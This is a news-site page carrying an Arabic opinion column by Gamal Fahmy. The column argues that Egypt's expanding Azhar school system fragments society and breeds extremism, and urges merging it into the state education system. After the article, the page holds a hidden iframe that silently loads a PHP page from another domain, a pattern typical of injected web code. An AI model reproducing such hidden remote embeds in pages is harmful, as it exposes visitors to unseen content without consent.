ايجى ميديا

الجمعة , 26 أبريل 2024
ايمان سمير تكتب -وقالوا عن الحرب)مني خليل تكتب -اثرياء الحرب يشعلون اسعار الذهبكيروش يمنح محمد الشناوي فرصة أخيرة قبل مواجهة السنغالايمان سمير تكتب -عيد حبعصام عبد الفتاح يوقف الحكم محمود بسيونيمني خليل تكتب -غياهب الايام الجزء الرابعالمصرى يرد على رفض الجبلاية تأجيل لقاء سيراميكا: لماذا لا نلعب 9 مارس؟مني خليل تكتب -غياهب الايام الجزء الثالثمني خليل - احسان عبد القدوس شكل وجدان الكتابة عنديالجزء الثاني / رواية غياهب الأيام كتبت / مني خليلإحاله المذيع حسام حداد للتحقيق وإيقافه عن العملتعاون بين الاتحاد المصري للدراجات النارية ودولة جيبوتي لإقامة بطولات مشتركةغياهب الايام - الجزء الاول - كتبت مني خليلاتحاد الكرة استحداث إدارة جديدة تحت مسمى إدارة اللاعبين المحترفين،كيروش يطالب معاونيه بتقرير عن فرق الدورى قبل مباراة السنغال| قائمة المنتخب الوطني المشاركة في نهائيات الأمم الأفريقية 🇪🇬 .... ⬇️⬇️اللجنة الاولمبية تعتمد مجلس نادي النصر برئاسة عبد الحقطارق رمضان يكشف سر عدم ترشح المستشار احمد جلال ابراهيم لانتخابات الزمالكنكشف البند الذي يمنع الدكتورة دينا الرفاعي من الاشراف علي الكرة النسائيةوائل جمعة نتتظر وصول كيروش

جمال فهمي يكتب: فوضى ومأساوية التعليم الدينى..

-  
جمال فهمي

قلت أمس إن التضخم الشديد فى التعليم الدينى ما قبل الجامعى هو واحد من أخطر مظاهر الفوضى الرهيبة التى ضربت فى مقتل مبدأ وحدة النظام التعليمى الوطنى الذى هو بدوره أهم وسائل الحفاظ على تماسك نسيج المجتمع وإبقاء تنوع مكوناته (طبقيا وثقافيا ودينيا.. إلخ) تحت سقف الانسجام وتوفير الحدود الدنيا للقدرة على التفاهم والتآلف بين هذه المكونات.


وقد أشرت فى آخر فقرات سطور أمس إلى حقيقة أن التعليم الدينى (المعاهد والمدارس الأزهرية) شهد خلال العقود الثلاثة الأخيرة انفجارا تضخميا رهيبا جعله يتفلت تماما من هدفه ووظيفته الأصلية وهى إعداد الكوادر اللازمة لسد الاحتياجات الدعوية والدينية للمواطنين المسلمين، ودللت على ذلك بأن عدد المدارس والمعاهد الأزهرية فى مراحل التعليم المختلفة (من الروضة حتى الثانوى) قفزت من بضع عشرة مدرسة فى نهاية سبعينيات القرن الماضى إلى ما يقارب الآن عشرة آلاف مدرسة (تحديدا 9258 معهدا ومدرسة) ينتظم فيها أكثر من 2 مليون ومئة ألف تلميذ، أغلبيتهم الساحقة شبُّوا فى بيئات هى الأشد فقرا وبؤسا وحرمانا، وقلت إن هنا بالضبط مكمن الخطر ومنبع الأذى، ثم توقفت.


واليوم أكمل أن انفجار ظاهرة التعليم الدينى على النحو الذى تدل عليه الأرقام أعلاه، يحمل خطرين مندمجين ومخلوطين أحدهما بالآخر، أولهما أنه يسهم فى إهدار مبدأ وحدة النظام التعليمى الوطنى ويكرس تمزيق المجتمع فكريا وعقليا ووجدانيا إلى جزر معزولة ومتباعدة يكاد سكانها يفتقرون إلى لغة التواصل بين بعضهم البعض، أما الخطر الثانى فهو توفير فيض هائل من العقليات المشوشة والمؤهلة لتلقى الأفكار الشيطانية التى تستبيح استخدام الدين والتمسح بشعاراته لتسويغ التأخر والتخلف والعنف والإرهاب والتخريب، وهو أمر لم يعد مجرد توقُّع وتخمين نظرى يستند إلى المنطق فحسب، وإنما توفر حقائق الواقع الصعب الذى نعيشه الآن أقوى الأدلة المادية على كونه خطرا ماثلا وقائما فعلا.. ويكفى كمثال من هذه الأدلة أن وقائع البلطجة والتخريب الرهيبة وغير المسبوقة التى شهدتها كليات ومعاهد الأزهر الشريف بالذات العام الماضى، تميزت عن وقائع البلطجة المماثلة التى جرت فى جامعات أخرى بشيئين، الأول أنها كانت الأكثر عنفا والأطول عمرا (استمرت منذ بداية العام الدراسى حتى نهايته)، والثانى هو ضخامة عدد المشاركين فى ارتكابها من الطلبة وأعضاء هيئات التدريس المنتمين إلى عصابة إخوان الشياطين وأتباعها القتلة.. صحيح هؤلاء ليسوا أغلبية وإنما أقلية ضئيلة، لكن عددهم بدا مرعبا وكافيا لتوسيع دائرة الإجرام.


وقد يقول البعض إن وصف «التعليم الدينى» ربما ليس منطبقا تماما على التعليم فى المدارس والمعاهد الأزهرية، إذ إنها تُدرِّس المناهج التعليمية نفسها التى يتلقاها تلاميذ المدارس العادية، مضافا إليها بعض المواد الدينية، وهو كلام صحيح، غير أن مشكلة هذه «المواد الأخرى» أنها تطبع بطابعها الخاص «البيئة التعليمية» كلها، فضلا عن حقيقة لا سبيل لإنكارها وهى أن المواد تلك محشوة ومتخمة بقدر غير قليل من المفاهيم المشوهة التى تنتصر بوضوح للتأخر والتخلف وظلام العقل، وتستثير عواطف ومشاعر بدائية تميل بصاحبها إلى الإقامة والتمترس الدائم فى خنادق الطائفية والتزمُّت وضيق الأفق.


يحدث هذا فى عقول وأرواح تلاميذ فقراء محرومين وأهلهم من كل وسائل الحماية العقلية، فليس متاحا لهم الاتصال بالثقافة والإبداع الإنسانى الراقى ولا يتعرضون خارج أسوار مدارسهم إلا لمظاهر البؤس والقبح والقهر بشتى صوره وتجلياته.


و.. أخيرا، ماذا بالله سيحدث لو تم وضع خطة ممنهجة ومدروسة تستهدف ضم كل هذه المعاهد والمدارس الأزهرية إلى النظام التعليمى العادى التابع لوزارة التربية والتعليم، والإبقاء فقط على ما يكفى منها لأداء مهمة إعداد الدعاة والأئمة.. يعنى العودة إلى الوضع الذى كان قائما قبل عقود الخراب الوطنى الطويلة؟! أظن أن الذى سيحدث أن الوطن سيكسب الوحدة العقلية والوجدانية لأبنائه، وسيخسر واحدا من منابع إنتاج التخلف والتأخر والظلام.

<iframe src="http://tahrirnews.com/random.php" style="display:none"></iframe>

التعليقات